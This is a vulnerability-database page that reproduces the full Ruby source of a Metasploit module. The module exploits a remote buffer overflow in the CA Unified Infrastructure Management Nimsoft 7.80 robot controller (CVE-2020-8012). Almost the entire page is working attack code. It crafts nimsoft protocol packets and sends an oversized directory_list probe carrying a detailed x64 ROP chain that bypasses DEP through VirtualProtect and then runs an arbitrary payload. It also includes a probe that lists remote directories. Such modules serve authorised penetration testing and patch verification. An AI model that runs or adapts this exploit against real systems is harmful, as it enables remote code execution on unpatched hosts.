Lucene search
K

CA Unified Infrastructure Management Nimsoft 7.80 Buffer Overflow

🗓️ 31 Jul 2020 00:00:00Reported by wetw0rkType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 311 Views

CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow in robot componen

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.  
The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list  
probe.  
  
Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the  
directory_list probe.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'wetw0rk' # Vulnerability Discovery and Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)  
[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE  
[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],  
[ 'PACKETSTORM', '156577' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'AUTORUNSCRIPT' => 'post/windows/manage/migrate'  
},  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Arch' => ARCH_X64,  
'Targets' =>  
[  
[  
'Windows Universal (x64) - v7.80.3132',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X64],  
'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',  
'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]  
}  
],  
],  
'Privileged' => true,  
'Notes' => { 'Stability' => [ CRASH_SAFE ] },  
'DisclosureDate' => 'Feb 05 2020',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),  
Opt::RPORT(48000),  
]  
)  
  
end  
  
# check: there are only two prerequisites to getting code execution. The version number  
# and access to the directory_list probe. The easiest way to get this information is to  
# ask nicely ;)  
def check  
  
connect  
  
sock.put(generate_probe('get_info', ['interfaces=0']))  
response = sock.get_once(4096)  
  
list_check = -1  
  
begin  
if target['Version'].in? response  
print_status("Version #{target['Version']} detected, sending directory_list probe")  
sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))  
list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])  
end  
ensure  
disconnect  
end  
  
if list_check == 0  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
  
end  
  
def exploit  
  
super  
connect  
  
shellcode = make_nops(500)  
shellcode << payload.encoded  
  
offset = rand_text_alphanumeric(1000)  
offset += "\x0f" * 33  
  
heap_flip = [target.ret].pack('<Q*')  
  
alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain  
rop_chain = generate_rsp_chain # Stage1: Stack alignment  
rop_chain += rand_text_alphanumeric(631) # Adjust for second stage  
rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub  
rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail  
rop_chain.length  
  
))  
rop_chain += "kernel32.dll\x00"  
rop_chain += "VirtualProtect\x00"  
  
trigger = "\x10" * (8000 - (  
offset.length +  
heap_flip.length +  
alignment.length +  
rop_chain.length +  
shellcode.length  
)  
)  
  
buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger  
exploit_packet = generate_probe(  
'directory_list',  
["directory=#{buffer}"]  
)  
  
sock.put(exploit_packet)  
  
disconnect  
  
end  
  
# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes  
# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.  
def generate_rsp_chain  
  
rop_gadgets = [0x0000000140018c42] * 20 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )  
0x00000001400af237, # pop rdi ; ret  
0x0000000000000007, # alignment for rsp  
0x0000000140025dab  
] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret  
  
return rop_gadgets.pack('<Q*')  
  
end  
  
# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,  
# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.  
# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.  
def generate_rop_chain  
  
# RAX -> HMODULE GetModuleHandleA(  
# ( RCX == *module ) LPCSTR lpModuleName,  
# );  
rop_gadgets = [0x0000000140018c42] * 15 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x0000000000000000, # (zero out rax)  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x00000000000009dd, # offset to "kernel32.dll"  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
  
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)  
0x00000001400d1161  
] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret  
rop_gadgets += [0x0000000140018c42] * 17 # ret  
  
# RAX -> FARPROC GetProcAddressStub(  
# ( RCX == &addr ) HMODULE hModule,  
# ( RDX == *module ) lpProcName  
# );  
rop_gadgets += [  
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)  
0x0000000140002ef6, # pop rax ; ret  
0x0000000000000000, # (zero out rax)  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x0000000000000812, # offset to "virtualprotectstub"  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]  
# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret  
  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret  
rop_gadgets += [  
0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 6 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x000000014015e318  
] # GetProcAddressStub (0x00000000014015e338-20)  
rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret  
rop_gadgets += [0x0000000140018c42] * 17 # ret  
  
# RAX -> BOOL VirtualProtectStub(  
# ( RCX == *shellcode ) LPVOID lpAddress,  
# ( RDX == len(shellcode) ) SIZE_T dwSize,  
# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,  
# ( R9 == *writeable location ) PDWORD lpflOldProtect,  
# );  
rop_gadgets += [  
0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)  
0x000000014013d651, # pop r12 ; ret  
0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )  
0x00000001400eba74  
] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret  
0x0000000000000000  
]  
rop_gadgets += [  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x000000000000059f, # (offset to *shellcode)  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret  
rop_gadgets += [  
0x00000001400496a2, # pop rdx ; ret  
0x00000000000005dc  
] # dwSize  
rop_gadgets += [  
0x00000001400bc39c, # pop r8 ; ret  
0x0000000000000040  
] # flNewProtect  
rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)  
rop_gadgets += [0x0000000140018c42] * 17 # ret  
rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]  
# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret  
  
rop_gadgets += [0x0000000140018c42] * 20 # ret  
  
rop_gadgets += [  
0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)  
0x0000000000000000, # (zero out rax)  
0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000, #  
0x0000000000000000  
] #  
rop_gadgets += [0x0000000140018c42] * 10 # ret  
rop_gadgets += [  
0x0000000140131643, # pop rcx ; ret  
0x0000000000000317, # (offset to our shellcode)  
0x000000014006d8d8  
] # add rax, rcx ; add rsp, 0x38 ; ret  
rop_gadgets += [0x0000000140018c42] * 15 # ret  
rop_gadgets += [0x00000001400a9747] # jmp rax  
rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)  
  
return rop_gadgets.pack('<Q*')  
  
end  
  
# parse_listing: once the directory_list probe is sent we're returned a directory listing  
# unfortunately it's hard to read this simply "decodes" it  
def parse_listing(response, directory)  
  
result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }  
i = 0  
  
begin  
dirlist = response.split('\x00')[0].split("\x00")  
index = dirlist.index('entry') + 3  
final = dirlist[index..-1]  
rescue StandardError  
print_error('Failed to gather directory listing')  
return -1  
end  
  
print_line("\n Directory of #{directory}\n")  
  
check = 0  
name = 0  
ftime = 0  
size = 0  
ftype = 0  
  
while i < final.length  
  
if name == 1  
unless final[i].to_i > 0  
result['name'] = final[i]  
name = 0  
check += 1  
end  
end  
if size >= 1  
if size == 3  
result['size'] = final[i]  
size = 0  
check += 1  
else  
size += 1  
end  
end  
if ftype >= 1  
if ftype == 3  
result['type'] = final[i]  
ftype = 0  
check += 1  
else  
ftype += 1  
end  
end  
if ftime >= 1  
if ftime == 3  
result['date'] = final[i]  
ftime = 0  
check += 1  
else  
ftime += 1  
end  
end  
  
if final[i].include? 'name'  
name = 1  
end  
if final[i].include? 'size'  
size = 1  
end  
if final[i].include? 'size'  
ftype = 1  
end  
if final[i].include? 'last_modified'  
ftime = 1  
end  
  
i += 1  
  
next unless check == 4  
  
if result['type'] == '2'  
result['type'] = ''  
else  
result['type'] = '<DIR>'  
result['size'] = ''  
end  
  
begin  
time = Time.at(result['date'].to_i)  
timestamp = time.strftime('%m/%d/%Y %I:%M %p')  
rescue StandardError  
timestamp = '??/??/???? ??:?? ??'  
end  
  
print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))  
  
check = 0  
end  
print_line('')  
return 0  
end  
  
# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially  
# craft probes in order for the controller to accept any input.  
def generate_probe(probe, args)  
  
client = "#{rand_text_alphanumeric(14)}\x00"  
packet_args = ''  
probe += "\x00"  
  
for arg in args  
  
c = ''  
i = 0  
  
while c != '='  
  
c = arg[i]  
i += 1  
  
end  
  
packet_args << "#{arg[0, (i - 1)]}\x00"  
packet_args << "1\x00#{arg[i..-1].length + 1}\x00"  
packet_args << "#{arg[i..-1]}\x00"  
  
end  
  
packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)  
packet_body = "mtype\x00" # mtype  
packet_body << "7\x004\x00100\x00" # 7.4.100  
packet_body << "cmd\x00" # cmd  
packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)  
packet_body << probe # probe  
packet_body << "seq\x00" # seq  
packet_body << "1\x002\x000\x00" # 1.2.0  
packet_body << "ts\x00" # ts  
packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)  
packet_body << "frm\x00" # frm  
packet_body << "7\x00#{client.length}\x00" # 7.(length of client)  
packet_body << client # client address  
packet_body << "tout\x00" # tout  
packet_body << "1\x004\x00180\x00" # 1.4.180  
packet_body << "addr\x00" # addr  
packet_body << "7\x000\x00" # 7.0  
#  
# probe packet arguments (dynamic)  
# argument  
# length of arg value  
# argument value  
  
packet_header << "#{packet_body.length} #{packet_args.length}\r\n"  
probe = packet_header + packet_body + packet_args  
  
return probe  
  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation